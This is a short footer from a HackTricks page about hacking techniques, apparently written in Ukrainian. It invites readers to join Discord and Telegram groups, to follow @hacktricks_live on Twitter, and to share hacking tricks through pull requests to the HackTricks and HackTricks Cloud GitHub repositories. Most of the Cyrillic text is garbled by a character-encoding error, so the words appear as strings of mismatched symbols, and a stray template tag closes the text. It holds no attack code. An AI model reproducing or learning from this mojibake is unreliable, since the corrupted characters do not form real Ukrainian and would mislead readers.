* **ΠΡΠΈΡΠ΄Π½ΡΠΉΡΠ΅ΡΡ Π΄ΠΎ** π¬ [**Π³ΡΡΠΏΠΈ Discord**](https://discord.gg/hRep4RUj7f) Π°Π±ΠΎ [**Π³ΡΡΠΏΠΈ Telegram**](https://t.me/peass) Π°Π±ΠΎ **ΡΠ»ΡΠ΄ΠΊΡΠΉΡΠ΅** Π·Π° Π½Π°ΠΌΠΈ Π² **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **ΠΡΠ»ΡΡΡΡΡ Ρ
Π°ΠΊΠ΅ΡΡΡΠΊΠΈΠΌΠΈ ΡΡΡΠΊΠ°ΠΌΠΈ, ΠΏΠΎΠ΄Π°ΡΡΠΈ PR Π΄ΠΎ** [**HackTricks**](https://github.com/carlospolop/hacktricks) ΡΠ° [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΡΡΠ² Π½Π° github.
{% endhint %}